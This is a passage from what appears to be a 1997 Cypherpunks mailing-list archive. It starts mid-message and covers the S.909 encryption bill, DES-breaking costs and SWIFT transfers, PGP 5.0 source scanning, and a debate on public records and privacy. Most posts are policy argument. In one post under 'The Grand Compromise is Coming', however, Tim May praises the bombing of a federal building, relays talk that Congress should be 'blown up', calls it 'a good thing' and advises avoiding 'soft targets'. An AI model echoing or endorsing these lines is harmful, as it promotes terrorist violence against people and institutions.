Washington, Brussels, London, and other nodes of power, may also
contribute to the overall strategy.  Again, we clearly will never "win"
outright in any such endeavors.  But I think it is clear that we again
gain time, breathing room, from such efforts -- time in which we may write
more code and write more memes.  If the lawmakers only hear from the
spooks and the secret police, they will pass their bad laws much sooner.







From alano at teleport.com  Tue Jun 24 11:24:22 1997
From: alano at teleport.com (Alan)
Date: Wed, 25 Jun 1997 02:24:22 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <97Jun24.134510edt.32257@brickwall.ceddec.com>
Message-ID: 



On Tue, 24 Jun 1997 tzeruch at ceddec.com wrote:

> 
> On Sun, 22 Jun 1997, Robert Hettinga wrote:
> 
> > You just need to tell them that S909 will kill the commercial internet, and
> > all the billions that have been invested in it.
> 
> More to the point, it will kill the commercial internet within the US.  We
> could ban steelmaking for environmental or safety reasons, which would not
> stop it, but then our steel producers and automakers would be out of
> business.  I think the US may have one, maybe two years before we lose the
> entire crypto industry to overseas.  We may still write the academic
> articles, but all the software and hardware will be imported.  After all
> the problems about losing jobs, we are actively destroying this sector of
> high technology.

Not only that, it will open up many (most?) US systems up to being hacked
by making effective and usable forms of security either expensive or
unworkable.  (How much of the free security software is distributed
through universities and government agencies?  Quite a bit from what I
have seen.)

S909 will be a disaster no matter how you look at it.  It will weaken
security for much of the net.  I find the idea that this is being done for
"National Security" to be frightening.  Can they really be that clueless
or is something else planned?  All this to prosecute (not even really
catch) a hand full of kiddy pornographers...

"We had to destroy the global village in order to save it." - Sen Kerrey.

alano at teleport.com | "Those who are without history are doomed to retype it."






From declan at well.com  Tue Jun 24 11:38:38 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 25 Jun 1997 02:38:38 +0800
Subject: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.OAA04279@hermes>
Message-ID: 



Thanks, Adam, for sending this along.

As it turns out, I'm working on an article about encryption and privacy
that will appear in Time Magazine next month. Yesterday I photocopied a few
pages of Applied Crypto and printed out the (I believe) February 1996 paper
on recommended key lengths and passed them around the office. Your summary
is even more handy.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From tcmay at got.net  Tue Jun 24 11:40:59 1997
From: tcmay at got.net (Tim May)
Date: Wed, 25 Jun 1997 02:40:59 +0800
Subject: Making _Real_ Money off a DES Break
In-Reply-To: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
Message-ID: 



At 10:54 AM -0700 6/24/97, Adam Back wrote:
>Re comments that I should re-read the paper, here is what Wiener's
>paper says about estimated costs of a specialized DES key breaker:
>
> $100,000 for a machine to break DES in an average of  35 hrs
> $1 mil   for a machine to break DES in an average of 3.5 hrs
> $10 mil  for a machine to break DES in an average of  21 mins
...
>35 hours sounds a reasonable amount of time to break a Swift banking
>transfer key protecting trillions of dollars of funds.
>

Show me the money! A DES break that resulted in a loss of several tens of
millions of dollars, suitably publicized, would be both educational and
rewarding.

We often talk about the "threat model." But what's the _profit model_ for
breaking DES?

Can money be made by breaking a SWIFT transfer in approx. 35 hours?

(Personally, I doubt it. Between increasing use of 3DES and "time windows"
which are probably much shorter than tens of hours, I doubt a Wiener
machine would be of much use to a hacker.)

Of course, the payoffs could be huge. If the banking system is really
vulnerable to this sort of attack, then why has some private group not
financed the building of a Wiener machine? (I know many people who could
pay for such a machine out of "spare cash," if the profits/risks were
there; I'm not saying *I* would, of course, only that the amounts are not
so high. The cheapest of the listed machines above is comparable in price
to a Jaguar XK8.)

Is anyone publishing on this? Are the details of the SWIFT and similar
interbank transfer systems available anywhere?

(What kind of out-of-band checksums may exist? What kind of callback
systems? What window of opportunity exists if a single DES key is found? Is
it useful?)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue Jun 24 11:55:08 1997
From: tcmay at got.net (Tim May)
Date: Wed, 25 Jun 1997 02:55:08 +0800
Subject: Liberating PGP 5.0 Source Code the Old-Fashioned Way
In-Reply-To: 
Message-ID: 



At 10:46 AM -0700 6/24/97, Lucky Green wrote:
>At 02:08 AM 6/24/97 -0700, Mark Grant wrote:
>>It's kind of hard to modify the code when I'm still waiting for the PGP
>>5.0 code to be made available. I can't do a lot until people finish
>>OCR-ing it.
>
>Note that the scanning teams are looking for non-US volunteers to proofread
>the scanns. Each volunteer gets 100 pages. They must have access to a box
>with perl and a C compiler to process the per-page error correcting code.
>You *don't* need a scanner.

A lot of work that could better be spent in other areas.

Why doesn't one of the many persons with access to the PGP 5.0 code already
in machine readable form just mail it to the group doing the scanning and
whatnot?

(Using remailers, obviously. And even making it look like a porno image
file. Whatever. Even easier: just put the source code CD-ROM in an envelope
and mail it to Norway. "Duh.")

This would shorten the process, and the Norwegian group could announce
"We're done!!!"

So, PGP employees, do it today.

(Or send me the source on CD-ROM.....)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Tue Jun 24 11:55:30 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 25 Jun 1997 02:55:30 +0800
Subject: CNN - Encryption bill expected to pass House - June 23, 1997
In-Reply-To: <33B003B5.689A@nwdtc.com>
Message-ID: 



Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
the Capitol this morning; he seemed cautiously optimistic.

-Declan

*********

At 10:28 -0700 6/24/97, Alan Olsen wrote:
>http://www.cnn.com/TECH/9706/23/encryption.reut/index.html
>
>Encryption bill expected to pass House
>
>June 23, 1997
>Web posted at: 10:05 p.m. EDT (0205 GMT)
>
>WASHINGTON (Reuter) -- Legislation to
>relax U.S. export limits on computer-encoding
>technology is likely to move ahead in the
>House of Representatives this week, despite
>a severe setback in the Senate last week.
>
>The House International Relations' economic
>policy and trade subcommittee will vote on a
>bill Tuesday, chairwoman Ileana
>Ros-Lehtinen, Republican of Florida, said.







From winsock at rigel.cyberpass.net  Tue Jun 24 12:19:46 1997
From: winsock at rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 25 Jun 1997 03:19:46 +0800
Subject: Hettinga's e$yllogism
Message-ID: <199706241908.MAA21649@sirius.infonex.com>




>1. Government has copy of keys
>2. Government misuses keys.
>
>Simple enough for you?

Too simple.  Escrow for ecash isn't to allow forging cash, or stealing it.
It allows tracing it.

If you tell financial experts that making ecash traceable under court order is
goint to make electronic commerce impossible, they'll laugh.  They already
use systems which are even less private than that.

Anon







From tcmay at got.net  Tue Jun 24 12:40:09 1997
From: tcmay at got.net (Tim May)
Date: Wed, 25 Jun 1997 03:40:09 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: <33B003B5.689A@nwdtc.com>
Message-ID: 



At 11:43 AM -0700 6/24/97, Declan McCullagh wrote:
>Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
>the Capitol this morning; he seemed cautiously optimistic.
>

The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
card in the coming Grand Compromise.

When even editorial writers for the Establishment Papers are against it,
when industry is against it so vocally, it won't pass the full Congress.

But it will have served its purpose.

It will make many groups _satisfied_ to reach "a compromise we can all live
with." The various cyber-rights [sic] groups will probably trumpet this as
a victory, as "the best we could get."

Somewhere between SAFE, a bad bill, and McCain-Kerrey, a reprehensible
bill, lies the Grand Compromise.

I reject it all.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Tue Jun 24 12:49:36 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 25 Jun 1997 03:49:36 +0800
Subject: William Just doesn't get it.
In-Reply-To: 
Message-ID: <199706241938.OAA11409@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/24/97 
   at 12:00 PM, Ray Arachelian  said:

>On Mon, 23 Jun 1997, William H. Geiger III wrote:

>> Only one here being clueless is you Ray.

>Thanks for the compliment.  I burp in your general direction.
> 
>> The state is not allowed to engage in secret activities with select
>> members of society. Whenever it issues a permit or a license to someone it
>> is public knowledge. Whenever someone is arrested, whenever there is a
>> trial both great and small the full details are public information.

>Asking the state to protect my privacy by not disclosing the information
>I disclose to it is not asking the state to engage in secret activities
>with select members of society.  It is asking it not to release
>information that I am forced to give them in return for certain goods,
>services, or privilidges - driving for example.  Having a driver's
>license doesn't mean I wish to share the information that the DMV
>requires to provide such a license to the world.

>Paying taxes doesn't mean I wish to disclose my 1040 form to the world.
> 
>> All actions of the state *must* be reviewable by the citizens. You can not
>> have a free and open society without the people being able to check on
>> what it's government is doing.

>And tell me dear William, in what way will you prevent the government
>from taking capricious actions against a free and open society by
>allowing anyone to find out a phone number that is unlisted by simply
>calling up DMV records?

>This isn't keeping tabs on the government, this is keeping tabs on the
>people which the government choses to infringe on.

>If the DMV wasn't giving licenses to certain types of people and one
>believed that this was the case, one should ask those people who felt
>that they were discriminated against.  One should not have the ability to
>look at EVERY record in the DMV databases - no matter how noble the
>thought.

>This is not to protect the DMV, this is to protect those listed within
>its databases.

>> This means that all of the following *must* be open to the public:

>Again, by your oppinion, not mine.  And no, I don't believe in a "free
>and open" society.  I believe in a "free and private" society.
> 
>> Criminal Records

>As for these, IMHO, once a criminal has completed their sentence they
>should be allowed to have a life.  Having these records available to all
>is a means of discriminating against them for having commited a crime as
>judged by a jury.  Not necessarily having commited the crime, but being
>convicted of doing so - as is well known mistakes have been made and
>lives have been destroyed by such mistakes.

>IMHO, repeat offenders will wind up in jail again, and will be punished
>again.  This should not infringe on their right to secure jobs or the
>right to rent, or buy homes.

>The idea of the justice system is to correct these wrongs, not to punish
>for life.  Once the debt is paid, it is paid.  There are some who believe
>that offenders should not be re-released into society because they will
>commit more crimes, and/or that the communities should be notified when
>they are allowed to move there.  If it is the case that person X is
>likely to commit more crime, then that fact should play a factor in
>person X's parole hearing.  IMHO, if the danger is there, don't let the
>bastard out. If it isn't, then let them go and let them live in peace and
>privacy.

>> Voter Registrations

>These too can be both a benefit and an infringement on privacy.  Whatever
>information these records hold might be used for other purposes.

Obviously you have never seen Chicago Politics at work. Chicago the most
democratic country in the world, even the dead get to vote ... TWICE!!! :)

>> Census Records

>Why?  What is the purpose of having these records available in forms
>other than a number?

>> Building Permits

>I agree here.

>> Profesional Licenses

>Sure, but only so far as to say "Yep, person X has this license" not "and
>they live on xyz street, have three kids, and a poodle."

>> Court Transcripts

>Granted.

>> Federal Records
>> State Records
>> County Records
>> City Records

>Granted, but which specific records?

>> ect, ect, ect.

>clue: You mean etc as in "Et Cetera."

>> The problem here is *NOT* that this information is public. The problem is
>> that the goverment has got it's fat little fingers into everything. The
>> solution is *NOT* letting the state hide what it is doing with these so
>> called privacy laws but to get the state out of where it has no business
>> being in the first place!!!

>I agree that there is ALSO a problem that the government has its fat
>fingers in everything and is allowed to do things that others aren't
>allowed to do.  For instance many places where gambling is illegal
>provide lotteries with astronomical odds against the player.  Were the
>things done by casinos, nobody would play.

>I agree that what the state does and whom they interact with should be
>public knowledge.  I do not agree that by virtue of interacting with the
>state that I should be force to give up my privacy.  I do not have the
>choice of not interacting with the state due to lovelies such as income
>taxes and drivers licenses - I should not be forced to give up privacy as
> well because of this.

>Based on what you say everything the state does should be public.  Fine,
>but if anyone were able to see anyone else's 1040 forms, you'd have a lot
>of invasion of privacy.  This is what you fail to see or understand. 
>This isn't a strawman, it's plain fact.  If I can see your return, I can
>see how much you make, whatever deductions or exemptions you claim can
>give me a slew of information as to what you have purchased and your
>general life style.  The address info and SSN will give me even more keys
>into your info.  Birth and Marriage records will tell me who your mother
>is, then I can look up her records, and find her maiden name, then I can
>take your SSN, your mother's maiden name, your date of birth and hand
>them over to TRW and see your credit card purchases, etc.  This is the
>thing that should not be that you are advocating, the thing I and
>fighting you on.  I think that it is indeed the case that you require a
>few clues.

>> And this has nothing to do with GAK or any other 1984ish monitoring of
>> citizens. The issue here is bringing the activities of the state into the
>> light of day. The activities of the citizens that do not directly involve
>> the state are not at issue here.

>Then DMV records should not be fully visible, neither should 1040 forms,
>for example.  But the key is "that do not directly involve the state" 
>The problem is that the state directly involves us into their activities
>and we directly involve them through our votes.  That is the key that
>will unlock the records into the activities of the citizens, and unlock
>their privacy when they should not.

>For the most part we agree - the government's activities should be public
>knowledge and should be watched and reviewed carefully.  However in your
>eagerness to make this happen you would also strip away the privacy of
>the citizens only because the government interacts and forces itself on
>interacting with them.

>And that is the clue you fail to get.

How are you going to verify what the government *says* it is doing without
a mechinism of authenticating of who they are doing it with?

How can you verify that the census reports are vailid if you don't know
who is in the census?

How can you check and see if the party in power is stuffing the balot
boxes if you can't confirm who is on the voting rolls??

How will you know which John Doe is issued a Medical License without
additional information being available?

How can you prevent criminal records from being known when all police
arrests & court procedings are public knowledge?

In your zeal to make public information "private" you are giving the
government the perfect mechanism to hide all its activities from its
citizens.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7AjHY9Co1n+aLhhAQFGXQP+MeTQt7vohgI7QBSa1rgAzaXXX4woRcLv
5Rbfx/r0XCSoyjDIREPcrnpwX0RQRHs07+NpXKCrygqeU7ruD6zw5xmZaP9obyw3
iGqoqcemt+x/S+UZGh2w4mXMN7GKLzyihoxTg/wYIbW964qr20ujig0jJ7pyDrpL
DtyNs8NB4ZQ=
=Me1A
-----END PGP SIGNATURE-----






From rah at shipwright.com  Tue Jun 24 13:04:00 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 25 Jun 1997 04:04:00 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <19970624175211.9970.qmail@squirrel.owl.de>
Message-ID: 



At 1:52 pm -0400 on 6/24/97, Secret Squirrel wrote:


> If you tell financial experts that making ecash traceable under court
>order is
> goint to make electronic commerce impossible, they'll laugh.  They already
> use systems which are even less private than that.

That's because, like all industrial transaction processes, they're built to
run weak transactions on strong, but private networks. The internet enables
strong transactions on weak, but public networks, which are way cheaper.

Again, *Digital* Commerce *is* Financial Cryptography.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From shamrock at netcom.com  Tue Jun 24 13:08:11 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 25 Jun 1997 04:08:11 +0800
Subject: Making _Real_ Money off a DES Break
In-Reply-To: 
Message-ID: 



On Tue, 24 Jun 1997, Tim May wrote:
> Is anyone publishing on this? Are the details of the SWIFT and similar
> interbank transfer systems available anywhere?
> 
> (What kind of out-of-band checksums may exist? What kind of callback
> systems? What window of opportunity exists if a single DES key is found? Is
> it useful?)

All this interesting stuff is specified in exhaustive detail in ANSI X9 A10.
http://www.x9.org/

--Lucky






From tm at dev.null  Tue Jun 24 13:17:32 1997
From: tm at dev.null (TruthMailer)
Date: Wed, 25 Jun 1997 04:17:32 +0800
Subject: 1
Message-ID: <199706241950.NAA08710@wombat.sk.sympatico.ca>



1






From pgut001 at cs.auckland.ac.nz  Tue Jun 24 13:22:28 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 25 Jun 1997 04:22:28 +0800
Subject: spook pressure on crypto exports (was Re: cypherpunks coding challenge)
Message-ID: <86718300701373@cs26.cs.auckland.ac.nz>



Death rays from Mars made Adam Back  write:
 
>Bill Stewart  writes:
>>(Though actually SSLeay has been very useful to a lot of the
>>world's free cryptography, and has prompted the US spooks
>>to pressure the Australian spooks into restricting crypto exports,
>>just as they've pressured the NZs into restricting them for
>>Peter Gutman, and have been trying to work on the Irish...)
 
>Could you elaborate on these.  I caught Peter Gutmann's comments on the 
>hassles a company he did some work for were having with the NZ spooks.  (The 
>spooks intercepted their mailed disk, plus some other cloak and dagger 
>spookish stuff).  
 
Nothing was intercepted.  They (the GCSB, NZ subsidiary of the NSA) came up 
with some phony story about NZ customs intercepting a shipment of 
military-grade encryption (or something similar) which they fed to the 
Australian spooks (DSD).  NZ Customs knew nothing of this, and the DSD were 
apparently also considerably surprised by it.  As far as I can tell it was a 
very amateurish attempt to intimidate one of the companies involved 
(frighteningly amateurish in fact - a single phonecall was enough to confirm 
that they'd invented the whole incident themselves, the only real effect it 
had was to get them a front-page story in the National Business Review and 
(presumably) piss off the DSD for sending them on a wild goose chase and 
risking media exposure).
 
>Is this still going on, was it ever resolved?  Can the next version of 
>cryptlib be exported legally?  Or are we relying on Peters bravery?
 
It can be legally exported.  Although the people pulling the strings are the 
GCSB, the group enforcing it is the Ministry of Foreign Affairs and Trade 
(MFAT)'s export control group, who are idiots (I can elaborate on this in 
great detail at some point, preferably over a beer).  I have several written 
statements from them that I can freely export it electronically (along with 
all sorts of bogosities such as a letter signed by the minister in which the 
first sentence of the second paragraph says exactly the opposite of the last 
sentence in the paragraph, and other, similar gems).  At one point I was 
firing off one letter after another to them just to see how silly they would 
get, but it got boring after awhile.  I'll put these letters online at some 
point for people to have a laugh at.
 
I should also clarify a point about the online writeup of my experiences, 
which imply that the NSA was active in directing the GCSB over export 
controls.  I'd had some feedback from a high-level US spook source that this 
wasn't quite the case, but the source has some rather unusual opinions on 
spooks and their activities (something along the lines of "Civilization would 
collapse tomorrow if it wasn't for the fine efforts of the CIA and NSA") which 
made me somewhat suspicious about the accuracy of the information.  Anyway, 
what this source said (and this bit I can believe) was that NZ was completely 
out of its depth with this (which was obvious from the way it was handled) and 
was terrified of offending the US.  According to the source, the NSA was 
exerting a *moderating* influence on the whole thing, and that any progress 
made was because the NSA told the GCSB to back off.  This would indicate an 
interesting case of the NSA exerting very strong indirect influence on 
determining crypto policy.  The GCSB knew the NSA didn't want crypto being 
distributed, and when they heard of the export they went into overdrive to 
show the NSA what good boys they could be and how keen they were to help the 
US by enforcing US policy for NZ crypto.
 
This interpretation is believable, NZ is very much a junior member of the 
UKUSA alliance and really doesn't want to do anything which might offend the 
other partners.  They knew the US didn't want crypto being made available, so 
they went out of their way to try to show the NSA that they could be trusted 
to do their bit in restricting crypto (I'm certain that something as 
amateurish as the NZ Customs story didn't come from the NSA, even the DSD 
seemed unaware of it).
                          
This means that it doesn't actually require any direct intervention from the 
USG to control crypto policy, the mere knowledge that the NSA doesn't like 
something is enough to make the local spooks (who, in NZ's case, rely on the 
NSA for much of their hardware and training) do whatever they think will keep
the NSA happy.  It's perfect for the NSA I guess, because they get complete 
deniability (Just yell "Will noone rid me of this troublesome crypto" and sit 
back and wait).

Peter.

BTW, what's happened to taz.nceye.net?  The cypherpunks mail->news doesn't 
seem to have been updated for more than a week.







From root at iguana.be  Tue Jun 24 13:22:34 1997
From: root at iguana.be (Kris Carlier)
Date: Wed, 25 Jun 1997 04:22:34 +0800
Subject: Who is going to HIP'97?
In-Reply-To: 
Message-ID: 



Hi Paul,

> Do you know what crypto presentations are taking place? I think Lutz 
> Donnerhacke is giving a presentation on smart card security and 
> supposedly there is some GSM stuff.

Imvho Lutz will speak about ActiveSomething... Very actively insecure for
sure.

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier at iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From tm at dev.null  Tue Jun 24 13:30:09 1997
From: tm at dev.null (TruthMailer)
Date: Wed, 25 Jun 1997 04:30:09 +0800
Subject: 2
Message-ID: <199706241959.NAA09532@wombat.sk.sympatico.ca>



Anon-To:






From stutz at dsl.org  Tue Jun 24 13:41:38 1997
From: stutz at dsl.org (Michael Stutz)
Date: Wed, 25 Jun 1997 04:41:38 +0800
Subject: Coding || Politics || Diplomacy (was: Radical Roots)
In-Reply-To: 
Message-ID: 



On Tue, 24 Jun 1997, Lou Poppler wrote:

> Cypherpunks write memes!

I like this. Writing effective program code -- computer instructions -- is
important, but so is writing effective language code. Language is
essentially another kind of "code" with its own set of interpreters etc. So
quite possibly the Horsemen "meme," a hardy, propogating viral code, could
be rendered useless when the right antiviral meme is introduced to the
datasphere. William S. Burroughs has already outlined language hacking
details in what I consider to be a seminal proto-cypherpunk text, _The
Electronic Revolution_. Long out of print, but online at
. 

m

Michael Stutz
http://dsl.org/m/






From ericm at lne.com  Tue Jun 24 14:11:52 1997
From: ericm at lne.com (Eric Murray)
Date: Wed, 25 Jun 1997 05:11:52 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: 
Message-ID: <199706242102.OAA31118@slack.lne.com>



Tim May writes:
> 
> The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> card in the coming Grand Compromise.

Yes.  The tactic will be to use S.909 in negotiation to represent a 'fair' 
government-oriented solution.   Then 'compromise' with a 'balanced'
deal which includes all that the government really wants, with a few
of the more onerous bits taken out of S.909 as 'compromise'.

As Declan notes, Congress is driven to compromise.  The
government side can propose ever more draconian laws in order to
engineer the 'compromise' to whatever it wants.  On the other side, we
are stuck, because we have been asking for things that we really want, not
bargaining chips.  Even if we were to ask for bargaining chips that
are more than we really want, how much further than completely free
crypto can you go?    The government wins any game of compromise because
it can push its side as far as it wants, then demand that we meet halfway.


> It will make many groups _satisfied_ to reach "a compromise we can all live
> with." The various cyber-rights [sic] groups will probably trumpet this as
> a victory, as "the best we could get."

They will make it out as a victory ("send us more money") but in
reality it'll just be a little less of a defeat.


The rejectionist stance has the presumption that, if unwatched, the
government will pass a law so onerous that the people will rise up
in protest.  Unfortunately I don't think Americans will rise up in
protest over _anything_ any more.  Certainly not over basic freedoms.



-- 
                   Eric Murray  ericm at lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From tcmay at got.net  Tue Jun 24 14:31:21 1997
From: tcmay at got.net (Tim May)
Date: Wed, 25 Jun 1997 05:31:21 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: 
Message-ID: 



At 2:02 PM -0700 6/24/97, Eric Murray wrote:
>Tim May writes:

>> It will make many groups _satisfied_ to reach "a compromise we can all live
>> with." The various cyber-rights [sic] groups will probably trumpet this as
>> a victory, as "the best we could get."
>
>They will make it out as a victory ("send us more money") but in
>reality it'll just be a little less of a defeat.

I'd be willing to bet the cyber rights [sic] groups are preparing for the
compromise and their role in the "victory." In this sense, the
McCain--Kerrey bill is almost a godsend to them, as it allows them to forge
a compromise and thus show that they are doing something useful.

>The rejectionist stance has the presumption that, if unwatched, the
>government will pass a law so onerous that the people will rise up
>in protest.  Unfortunately I don't think Americans will rise up in
>protest over _anything_ any more.  Certainly not over basic freedoms.

Well, I know of some Americans who blew up a building filled with Feds.

That ain't exactly doing nothing.

I have to confess to not being completely unhappy with the McCain-Kerrey
thing. By being so much of a Big Brother action, it validates what we've
been warning about.

And while _most_ Americans will not rise up in protest, as you point out,
this will invigorate the extremist factions fighting for collapse of the
entire corrupt system.

(For we extremists, whom some have called "bloodthirsty," there's no better
recruiting tool than such things as McCain-Kerrey. I've heard more of my
friends saying that Congress just ought to be blown up than I ever would
have imagined a few years ago. And this is not a view shared only by
extremists: anyone who saw the coming attraction trailers for "Independence
Day," last year at that time, was probably struck by the visceral and
immediate audience reaction to the scene showing the alien flying saucers
vaporizing and destroying the White House: cheers and clapping throughout
the audience.)

This will be a good thing. Just avoid soft targets, as I keep warning.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jrennie at hardy.ocs.mq.edu.au  Tue Jun 24 14:49:58 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Wed, 25 Jun 1997 05:49:58 +0800
Subject: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241449.PAA00198@server.test.net>
Message-ID: 





On Tue, 24 Jun 1997, Adam Back wrote:

> (Bearing in mind the reader in most cases hasn't grasped the
> difference between public key crypto and symmetric key, and is
> comparing 1024 bit keys to 56 bit keys and probably thinks that it is
> 1024/56 times harder.)

Well i guess i'll look stupid for asking but someone has to but what is 
the diffrence ?? I dont know either, i'm on this list to learn things 
like this. I'm still very new to all of this. I was aware that they 
weren't 1024/56 times harder though.

jason =8-]






From sunder at brainlink.com  Tue Jun 24 15:18:14 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 25 Jun 1997 06:18:14 +0800
Subject: William Just doesn't get it.
In-Reply-To: <199706241938.OAA11409@mailhub.amaranth.com>
Message-ID: 



On Tue, 24 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----


Gee thanks for quoting my entire message.  You know, I really love to see
the stuff I wrote before over and over again when I reply to it.  *NOT*.
If you reply, please don't quote the entire messages.  Just what you're
replying to.  


[Mass Snippage]

> How are you going to verify what the government *says* it is doing without
> a mechinism of authenticating of who they are doing it with?

Watch them carefully.  If they do what they're not supposed to do, word
will eventually leak out in most circumstances, not all, and most
certainly not in spool related things.  But leaks do occur.  Watching what
they say and do will give you that info.  Same as any of the reporters
will do.  Ask Declan if need be. :)
 
> How can you verify that the census reports are vailid if you don't know
> who is in the census?

Conduct your own independant census and see how big a difference there is.
If you can't, then conduct random but smaller spot checks and see how they
match.  Count the number of entries in the phone book.  You shouldn't be
too far off from the actual number of residents within an area though
you'd be missing unlisted numbers.

> How can you check and see if the party in power is stuffing the balot
> boxes if you can't confirm who is on the voting rolls??

Ask the voters to anonymously re-vote, take polls.  Etc.
 
> How will you know which John Doe is issued a Medical License without
> additional information being available?

These aren't done by Uncle Sam, they're done by AMA or whatever.  As I
said licenses should be available to you in terms of yes, he's had a
license, or no he ain't got one.
 
> How can you prevent criminal records from being known when all police
> arrests & court procedings are public knowledge?

Court procedings, not criminal records.  Hmmm, caught me there ya did. :)
Good question.  Any other suggestions as to how to protect the privacy of
someone who served their time?

> In your zeal to make public information "private" you are giving the
> government the perfect mechanism to hide all its activities from its
> citizens.

I'm not asking for laws to be passed to "protect" privacy.  I'm asking
that privacy be recognized as one of the inalienable rights.  In other
words, a constitutional amendment much like the 1st that says you have the
right to privacy.  Not necessarily what happens when it is broken.  If
it's broken, you sue Unlce Sam.

I'm not asking for public information to be hidden.  I'm asking for
information that is personal and should be private to be private- i.e. 
driving records, health records, addresses, phone numbers, and
relationship records to be kept private. I'm not asking to hide what the
government does.  

Not all information that is public is personal - such information should
remain public.  The actions of the state, the actions of public
corporations should be public.  Information on citizens should not be made
public WITHOUT their consent.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From aba at dcs.ex.ac.uk  Tue Jun 24 15:45:26 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 25 Jun 1997 06:45:26 +0800
Subject: Making _Real_ Money off a DES Break
In-Reply-To: 
Message-ID: <199706242156.WAA00196@server.test.net>




Tim May  writes:
> At 10:54 AM -0700 6/24/97, Adam Back wrote:
> >
> > $100,000 for a machine to break DES in an average of  35 hrs
> ...
> >35 hours sounds a reasonable amount of time to break a Swift banking
> >transfer key protecting trillions of dollars of funds.
> >
> 
> Show me the money! A DES break that resulted in a loss of several tens of
> millions of dollars, suitably publicized, would be both educational and
> rewarding.
> 
> We often talk about the "threat model." But what's the _profit model_ for
> breaking DES?

Who says it hasn't been done?  It's not as if the banks would be keen
to advertise this.

You remember a while back some Russians (including one "mathematician"
according to news reports) had succeeded in fleecing a US bank of
several mil and routing the money to various banks around the world.
Until they got caught.  The news reports said the US bank(s) wanted to
talk to him to find out how he did it.  I was always curious as to
